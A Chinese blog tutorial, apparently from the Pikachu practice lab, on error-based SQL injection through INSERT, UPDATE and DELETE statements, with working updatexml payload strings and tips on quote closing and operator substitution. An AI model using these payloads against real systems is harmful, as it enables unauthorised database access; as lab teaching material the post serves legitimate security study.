欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

皮卡丘-SQL 注入-插入/更新/删除注入

最编程 2024-10-04 10:11:59
...

insert 注入

插入语句

insert into tables values(value1,value2,value3);
如:插入用户表
insert into users (id,name,password) values ('id','username','password');

当点击注册

先判断是否有SQL注入漏洞,经过判断之后发现存在SQL漏洞。构造insert的payload。

insert into users (id,name,password) values ('1'or updatexml(1,concat(0x7e,database()),0),'username','password');

//为了使得左右符号闭合,所以构造的输入payload 是
name' or updatexml(1,concat(0x7e,database()),0) or '

由于插入id 这里有个or 的或运算,所以会执行 updatexml 方法,实现报错注入。

同理,update 注入

update的 SQL语句

update users set passowrd='pass' ;

//构造update 注入语句:注意闭合
update users set passowrd='pass' or updatexml(1,concat(0x7e,database()),0) ;

如构造输入payload

aa' or updatexml(1,concat(0x7e,database()),0) or '

提交,获得数据库名;

基于delete 的报错注入

delete from users where username = 'username' ;

//构造delete 注入语句:注意闭合
delete from users where username = 'username' or updatexml(1,concat(0x7e,database()),0) or '' ;

//字符型
1' or updatexml(1,concat(0x7e,database()),0) or ' 
//数字型
1 or updatexml(1,concat(0x7e,database()),0) 

得到 delete 注入结果

总结:要注意开头部分的and和or,and不行那就改用or,或者用替换符&&(and)和||(or),其次是闭合的方式不只有#和--+,还有or' 

推荐阅读